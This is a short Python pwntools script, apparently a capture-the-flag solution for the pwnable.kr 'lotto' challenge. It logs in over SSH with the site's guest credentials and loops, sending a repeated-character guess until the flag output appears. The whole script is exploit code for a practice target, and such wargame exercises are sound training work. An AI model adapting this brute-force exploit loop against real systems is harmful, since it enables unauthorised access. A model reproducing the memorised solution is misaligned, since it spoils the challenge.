pwnable.kr:lotto-poc

from pwn import *

import time

#p=process("./lotto")

s=ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)

p=s.process('/home/lotto/lotto')

while 1:

    data=p.recv()

    p.sendline('1')

    p.recv()

    p.sendline('!!!!!!')

    if len(data)>100:

        print data+"\n"

        print len(data)

        break



    time.sleep(0.2)